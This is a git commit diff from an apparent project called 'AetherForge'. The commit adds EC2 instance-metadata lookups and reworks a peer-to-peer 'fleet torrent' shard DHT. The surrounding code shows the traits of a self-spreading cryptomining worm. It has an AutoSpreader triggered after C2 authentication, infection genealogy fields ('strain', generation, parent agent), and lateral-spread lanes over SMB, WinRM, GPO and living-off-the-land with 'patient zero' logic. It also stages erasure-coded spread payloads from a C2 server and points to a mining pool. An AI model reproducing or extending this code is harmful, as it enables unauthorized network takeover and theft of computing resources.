Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
AetherForge
2026-06-07 10:06:42 -07:00
parent 0795c511ab
commit 990105f7bf
49 changed files with 570 additions and 879 deletions

View File

@@ -100,8 +100,6 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first // spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet. // successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once spreadOnce sync.Once
// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
cloudVenueOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS. // commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string) commandResultHook func(action string, success bool, message string)
@@ -405,8 +403,6 @@ func (c *AgentClient) authenticate() error {
authPayload.ParentAgentID = parentID authPayload.ParentAgentID = parentID
authPayload.SpreadGeneration = spreadGen authPayload.SpreadGeneration = spreadGen
authPayload.SpreadStrain = spreadStrain authPayload.SpreadStrain = spreadStrain
authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
payload, _ := json.Marshal(authPayload) payload, _ := json.Marshal(authPayload)
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err return err
@@ -486,10 +482,6 @@ func (c *AgentClient) authenticate() error {
} }
}) })
c.cloudVenueOnce.Do(func() {
c.startCloudVenueScout()
})
if !c.cfg.IsSeederRole(c.fleetRoleHint()) { if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
} }

View File

@@ -17,7 +17,7 @@ func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
}}, }},
}) })
c.handleFleetTorrentGossip(payload) c.handleFleetTorrentGossip(payload)
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0", "") peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
if len(peers) != 1 || peers[0].AgentID != "peer" { if len(peers) != 1 || peers[0].AgentID != "peer" {
t.Fatalf("peers=%+v", peers) t.Fatalf("peers=%+v", peers)
} }

View File

@@ -122,8 +122,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"` HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
AwsS3ShardRegion string `json:"aws_s3_shard_region"`
AwsCloudFrontDomain string `json:"aws_cloudfront_domain"`
SpreadTemperament json.RawMessage `json:"spread_temperament"` SpreadTemperament json.RawMessage `json:"spread_temperament"`
} }
if err := json.Unmarshal(raw, &policy); err != nil { if err := json.Unmarshal(raw, &policy); err != nil {
@@ -137,12 +135,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
} }
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" {
cfg.AwsS3ShardRegion = v
}
if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" {
cfg.AwsCloudFrontDomain = v
}
applySpreadTemperament(cfg, policy.SpreadTemperament) applySpreadTemperament(cfg, policy.SpreadTemperament)
} }

View File

@@ -55,8 +55,6 @@ type AuthPayload struct {
ParentAgentID string `json:"parent_agent_id,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"` FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"`
} }

View File

@@ -71,15 +71,6 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
} }
} }
func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
var out AuthPayload
roundTrip(t, in, &out)
if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
t.Fatalf("genesis fields: %+v", out)
}
}
func TestAuthResponseJSONRoundTrip(t *testing.T) { func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""} in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse var out AuthResponse

View File

@@ -149,12 +149,8 @@ type BuiltinConfig struct {
ErasureLanesEnabled bool ErasureLanesEnabled bool
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy). // FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
FleetTorrentEnabled bool FleetTorrentEnabled bool
AwsS3ShardRegion string
AwsCloudFrontDomain string
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24. // SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
SubnetPrimarySeeder bool SubnetPrimarySeeder bool
PolicySnapshotPollURL string
EventBridgeRelayURL string
} }
// BackupPool holds connection info for a fallback Stratum mining pool. // BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -0,0 +1,106 @@
package deploy
import (
"context"
"fmt"
"io"
"net/http"
"strings"
"time"
)
const ec2IMDSBase = "http://169.254.169.254/latest"
type CloudInstanceMeta struct {
VpcID string `json:"vpc_id,omitempty"`
SubnetID string `json:"subnet_id,omitempty"`
Region string `json:"region,omitempty"`
}
func (m CloudInstanceMeta) Present() bool {
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
}
var ec2IMDSReadMeta = readEC2InstanceMetaImpl
func ReadEC2InstanceMeta() CloudInstanceMeta {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
meta, _ := ec2IMDSReadMeta(ctx)
return meta
}
func readEC2InstanceMetaImpl(ctx context.Context) (CloudInstanceMeta, error) {
token, err := fetchEC2IMDSToken(ctx)
if err != nil {
return CloudInstanceMeta{}, err
}
region, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/region")
if strings.TrimSpace(region) == "" {
az, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/availability-zone")
az = strings.TrimSpace(az)
if len(az) > 1 {
region = az[:len(az)-1]
}
}
macs, err := fetchEC2IMDSPath(ctx, token, "meta-data/network/interfaces/macs/")
if err != nil || strings.TrimSpace(macs) == "" {
return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
}
mac := strings.TrimSpace(strings.Split(macs, "\n")[0])
if mac == "" {
return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
}
if !strings.HasSuffix(mac, "/") {
mac += "/"
}
base := "meta-data/network/interfaces/macs/" + mac
vpcID, _ := fetchEC2IMDSPath(ctx, token, base+"vpc-id")
subnetID, _ := fetchEC2IMDSPath(ctx, token, base+"subnet-id")
return CloudInstanceMeta{VpcID: strings.TrimSpace(vpcID), SubnetID: strings.TrimSpace(subnetID), Region: strings.TrimSpace(region)}, nil
}
func fetchEC2IMDSToken(ctx context.Context) (string, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodPut, ec2IMDSBase+"/api/token", nil)
if err != nil {
return "", err
}
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "60")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("imds token HTTP %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 128))
return strings.TrimSpace(string(body)), err
}
func fetchEC2IMDSPath(ctx context.Context, token, path string) (string, error) {
path = strings.TrimPrefix(path, "/")
req, err := http.NewRequestWithContext(ctx, http.MethodGet, ec2IMDSBase+"/"+path, nil)
if err != nil {
return "", err
}
if token != "" {
req.Header.Set("X-aws-ec2-metadata-token", token)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("imds HTTP %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 64<<10))
return strings.TrimSpace(string(body)), err
}
// ec2IMDSToken and ec2IMDSFetch are shared helpers for cloud venue probing.
func ec2IMDSToken(ctx context.Context) (string, error) { return fetchEC2IMDSToken(ctx) }
func ec2IMDSFetch(ctx context.Context, token, path string) (string, error) {
return fetchEC2IMDSPath(ctx, token, path)
}

View File

@@ -0,0 +1,29 @@
package deploy
import (
"context"
"testing"
)
func TestReadEC2InstanceMetaMockIMDS(t *testing.T) {
prev := ec2IMDSReadMeta
t.Cleanup(func() { ec2IMDSReadMeta = prev })
ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
return CloudInstanceMeta{VpcID: "vpc-abc123", SubnetID: "subnet-def456", Region: "us-east-1"}, nil
}
meta := ReadEC2InstanceMeta()
if meta.VpcID != "vpc-abc123" {
t.Fatalf("meta=%+v", meta)
}
}
func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) {
prev := ec2IMDSReadMeta
t.Cleanup(func() { ec2IMDSReadMeta = prev })
ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
return CloudInstanceMeta{}, context.DeadlineExceeded
}
if ReadEC2InstanceMeta().Present() {
t.Fatal("expected empty meta on non-AWS fallback")
}
}

View File

@@ -1,4 +1,4 @@
package deploy package deploy
import ( import (
"crypto/hmac" "crypto/hmac"
@@ -25,8 +25,6 @@ type SpreadRouteHint struct {
ClearanceLevel int `json:"clearance_level,omitempty"` ClearanceLevel int `json:"clearance_level,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
RouteVia string `json:"route_via,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
} }
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans. // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -109,8 +107,7 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if config.FleetTorrentEnabled(cfg) { if config.FleetTorrentEnabled(cfg) {
c2 := c2BaseFromPlan(plan) c2 := c2BaseFromPlan(plan)
localIP, _ := PrimaryLocalIPv4() localIP, _ := PrimaryLocalIPv4()
localRegion := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion) if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), localRegion); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil return em + " (primary lane failed: " + err.Error() + ")", nil
} }
} }
@@ -274,7 +271,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
switch lane { switch lane {
case "spread_smb_unc", "winrm", "gpo", "linux_lotl": case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
return fmt.Sprintf( return fmt.Sprintf(
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)", "spread_route_hint: egress=%s seed=%s subnet=%s (deferred routed egress, not patient zero)",
egress, egress,
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID), strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet), strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
@@ -404,9 +401,6 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
strings.TrimSpace(hint.SeedAgentID), strings.TrimSpace(hint.SeedAgentID),
hint.Score, hint.Score,
) )
if via := strings.TrimSpace(hint.RouteVia); via != "" {
routeNote += "; route_via=" + via
}
if detail == "" { if detail == "" {
return routeNote return routeNote
} }

View File

@@ -183,20 +183,6 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
} }
} }
func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "ssm_document", Action: "ssm_document",
SSMDocument: `{"schemaVersion":"2.2"}`,
}
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "ssm_document") {
t.Fatalf("msg=%q", msg)
}
}
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) { func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
plan := DeployPlanBody{ plan := DeployPlanBody{
JoinLane: "spread_smb_unc", JoinLane: "spread_smb_unc",

View File

@@ -17,10 +17,9 @@ import (
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan. // ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
type ErasureShardRef struct { type ErasureShardRef struct {
Index int `json:"index"` Index int `json:"index"`
Lane string `json:"lane"` Lane string `json:"lane"`
URL string `json:"url"` URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
} }
// ErasurePlanBody is server-encoded ReedSolomon metadata for multi-lane spread payloads. // ErasurePlanBody is server-encoded ReedSolomon metadata for multi-lane spread payloads.

View File

@@ -21,12 +21,14 @@ const (
fleetTorrentZeroServerRetry = 30 * time.Minute fleetTorrentZeroServerRetry = 30 * time.Minute
) )
// FleetGossipKind mirrors server atlas fleet gossip kinds.
const ( const (
FleetGossipHaveShard = "have_shard" FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy" FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node" FleetGossipKnowNode = "know_node"
) )
// FleetGossipRecord is one DHT advertisement from a fleet peer.
type FleetGossipRecord struct { type FleetGossipRecord struct {
Kind string `json:"kind"` Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"` AgentID string `json:"agent_id,omitempty"`
@@ -34,36 +36,37 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"` Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"` ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"` ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"` Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"` FetchURL string `json:"fetch_url,omitempty"`
} }
// ShardPeer is a known holder of one content-addressed shard.
type ShardPeer struct { type ShardPeer struct {
AgentID string AgentID string
Subnet string Subnet string
Region string
FetchURL string FetchURL string
Score int // higher = prefer LAN same-subnet
} }
// FleetShardDHT tracks content-addressed shard availability across the fleet.
type FleetShardDHT struct { type FleetShardDHT struct {
mu sync.RWMutex mu sync.RWMutex
peers map[string]map[int][]ShardPeer peers map[string]map[int][]ShardPeer // token -> index -> peers
shardHash map[string]map[int]string healthy map[string]bool // agentID -> healthy
healthy map[string]bool local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache)
local map[string]map[int][]byte
} }
var globalFleetDHT = &FleetShardDHT{ var globalFleetDHT = &FleetShardDHT{
peers: make(map[string]map[int][]ShardPeer), peers: make(map[string]map[int][]ShardPeer),
shardHash: make(map[string]map[int]string), healthy: make(map[string]bool),
healthy: make(map[string]bool), local: make(map[string]map[int][]byte),
local: make(map[string]map[int][]byte),
} }
func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT } // FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
func FleetShardDHTSnapshot() *FleetShardDHT {
return globalFleetDHT
}
func SetFleetShardDHT(dht *FleetShardDHT) { func SetFleetShardDHT(dht *FleetShardDHT) {
if dht != nil { if dht != nil {
@@ -76,6 +79,7 @@ func shardContentHash(data []byte) string {
return hex.EncodeToString(sum[:]) return hex.EncodeToString(sum[:])
} }
// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if d == nil || len(records) == 0 { if d == nil || len(records) == 0 {
return return
@@ -88,28 +92,17 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if r.Token == "" || r.AgentID == "" { if r.Token == "" || r.AgentID == "" {
continue continue
} }
region := strings.TrimSpace(r.Region)
if region == "" && r.ShardAdvert != "" {
if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
region = parsed
}
}
if d.peers[r.Token] == nil { if d.peers[r.Token] == nil {
d.peers[r.Token] = make(map[int][]ShardPeer) d.peers[r.Token] = make(map[int][]ShardPeer)
} }
if d.shardHash[r.Token] == nil { peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
d.shardHash[r.Token] = make(map[int]string)
}
if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
d.shardHash[r.Token][r.ShardIndex] = h
}
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer) d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
case FleetGossipHealthy: case FleetGossipHealthy:
if r.AgentID != "" { if r.AgentID != "" {
d.healthy[r.AgentID] = r.Healthy d.healthy[r.AgentID] = r.Healthy
} }
case FleetGossipKnowNode: case FleetGossipKnowNode:
// know_node expands peer graph — treated as healthy signal for target
if r.TargetAgentID != "" { if r.TargetAgentID != "" {
d.healthy[r.TargetAgentID] = true d.healthy[r.TargetAgentID] = true
} }
@@ -126,6 +119,7 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
return append(peers, p) return append(peers, p)
} }
// StoreLocalShard caches one shard for primary-seeder fan-out.
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
if d == nil || token == "" || len(body) == 0 { if d == nil || token == "" || len(body) == 0 {
return return
@@ -138,6 +132,7 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
d.local[token][index] = append([]byte(nil), body...) d.local[token][index] = append([]byte(nil), body...)
} }
// LocalShard returns a cached shard when this agent is primary seeder.
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
if d == nil { if d == nil {
return nil, false return nil, false
@@ -154,7 +149,8 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
return append([]byte(nil), body...), true return append([]byte(nil), body...), true
} }
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer { // PeersForShard returns known peers holding one shard index.
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
if d == nil { if d == nil {
return nil return nil
} }
@@ -167,8 +163,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
out := make([]ShardPeer, len(raw)) out := make([]ShardPeer, len(raw))
copy(out, raw) copy(out, raw)
sort.Slice(out, func(i, j int) bool { sort.Slice(out, func(i, j int) bool {
si := peerScore(out[i], localSubnet, localRegion) si := peerScore(out[i], localSubnet)
sj := peerScore(out[j], localSubnet, localRegion) sj := peerScore(out[j], localSubnet)
if si != sj { if si != sj {
return si > sj return si > sj
} }
@@ -177,26 +173,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
return out return out
} }
func (d *FleetShardDHT) ShardContentHash(token string, index int) string { func peerScore(p ShardPeer, localSubnet string) int {
if d == nil {
return ""
}
d.mu.RLock()
defer d.mu.RUnlock()
if d.shardHash[token] == nil {
return ""
}
return d.shardHash[token][index]
}
func peerScore(p ShardPeer, localSubnet, localRegion string) int {
if localSubnet != "" && p.Subnet == localSubnet { if localSubnet != "" && p.Subnet == localSubnet {
return 4
}
if localRegion != "" && p.Region == localRegion {
return 3
}
if p.Region != "" {
return 2 return 2
} }
if p.Subnet != "" { if p.Subnet != "" {
@@ -205,6 +183,7 @@ func peerScore(p ShardPeer, localSubnet, localRegion string) int {
return 0 return 0
} }
// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer { func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
if maxLAN <= 0 { if maxLAN <= 0 {
maxLAN = fleetTorrentMaxLANNeighbors maxLAN = fleetTorrentMaxLANNeighbors
@@ -221,14 +200,15 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S
return out return out
} }
func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) { // FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
if dht == nil { if dht == nil {
dht = globalFleetDHT dht = globalFleetDHT
} }
if body, ok := dht.LocalShard(token, index); ok { if body, ok := dht.LocalShard(token, index); ok {
return body, nil return body, nil
} }
peers := dht.PeersForShard(token, index, localSubnet, localRegion) peers := dht.PeersForShard(token, index, localSubnet)
try := func(url string) ([]byte, error) { try := func(url string) ([]byte, error) {
if url == "" { if url == "" {
return nil, fmt.Errorf("empty url") return nil, fmt.Errorf("empty url")
@@ -247,35 +227,18 @@ func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, local
if localSubnet != "" && p.Subnet == localSubnet { if localSubnet != "" && p.Subnet == localSubnet {
continue continue
} }
if localRegion != "" && p.Region == localRegion {
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
}
for _, p := range peers {
if localSubnet != "" && p.Subnet == localSubnet {
continue
}
if localRegion != "" && p.Region == localRegion {
continue
}
if body, err := try(p.FetchURL); err == nil { if body, err := try(p.FetchURL); err == nil {
return body, nil return body, nil
} }
} }
if cloudFrontURL != "" {
if body, err := try(cloudFrontURL); err == nil {
return body, nil
}
}
if c2URL != "" { if c2URL != "" {
return try(c2URL) return try(c2URL)
} }
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index) return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
} }
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) { // RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
if !plan.Enabled || len(plan.Shards) == 0 { if !plan.Enabled || len(plan.Shards) == 0 {
return "", fmt.Errorf("erasure plan disabled or empty") return "", fmt.Errorf("erasure plan disabled or empty")
} }
@@ -311,15 +274,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
if c2 != "" && !strings.HasPrefix(c2URL, "http") { if c2 != "" && !strings.HasPrefix(c2URL, "http") {
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index) c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
} }
region := localRegion body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
if region == "" {
region = strings.TrimSpace(cfg.AwsS3ShardRegion)
}
cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
cfURL = edge
}
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
if err != nil { if err != nil {
continue continue
} }
@@ -358,7 +313,8 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
return "fleet_torrent: " + msg, nil return "fleet_torrent: " + msg, nil
} }
func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord { // IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
if fetchFn == nil { if fetchFn == nil {
fetchFn = fetchErasureShardHTTP fetchFn = fetchErasureShardHTTP
} }
@@ -369,33 +325,40 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn f
if err != nil || len(body) == 0 { if err != nil || len(body) == 0 {
continue continue
} }
hash := shardContentHash(body)
dht.StoreLocalShard(plan.ShardToken, ref.Index, body) dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
records = append(records, FleetGossipRecord{ records = append(records, FleetGossipRecord{
Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index, Kind: FleetGossipHaveShard,
ShardHash: hash, Region: strings.TrimSpace(region), Token: plan.ShardToken,
ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true, ShardIndex: ref.Index,
ShardHash: shardContentHash(body),
FetchURL: ref.URL,
Healthy: true,
}) })
} }
return records return records
} }
// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) { func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil { if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
return
}
if gossipFn == nil {
return return
} }
go func() { go func() {
ticker := time.NewTicker(5 * time.Minute) ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop() defer ticker.Stop()
for range ticker.C { for range ticker.C {
region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion) recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 { if len(recs) > 0 {
gossipFn(recs) gossipFn(recs)
} }
} }
}() }()
} }
// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
func StartZeroServerReconnect(reconnectFn func() error) { func StartZeroServerReconnect(reconnectFn func() error) {
if reconnectFn == nil { if reconnectFn == nil {
return return
@@ -409,6 +372,7 @@ func StartZeroServerReconnect(reconnectFn func() error) {
}() }()
} }
// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
func ParseSwarmMagnetToken(magnet string) string { func ParseSwarmMagnetToken(magnet string) string {
magnet = strings.TrimSpace(magnet) magnet = strings.TrimSpace(magnet)
if magnet == "" { if magnet == "" {
@@ -424,6 +388,7 @@ func ParseSwarmMagnetToken(magnet string) string {
return "" return ""
} }
// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) { func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
if manifestURL == "" { if manifestURL == "" {
return nil, fmt.Errorf("empty manifest url") return nil, fmt.Errorf("empty manifest url")

View File

@@ -9,59 +9,19 @@ import (
) )
func TestFleetShardDHTMergeAndFetch(t *testing.T) { func TestFleetShardDHTMergeAndFetch(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)} dht := &FleetShardDHT{
peers: make(map[string]map[int][]ShardPeer),
healthy: make(map[string]bool),
local: make(map[string]map[int][]byte),
}
dht.MergeFleetGossipRecords([]FleetGossipRecord{{ dht.MergeFleetGossipRecords([]FleetGossipRecord{{
Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1", Kind: FleetGossipHaveShard,
ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1", AgentID: "peer-a",
Subnet: "10.1.2",
Token: "tok1",
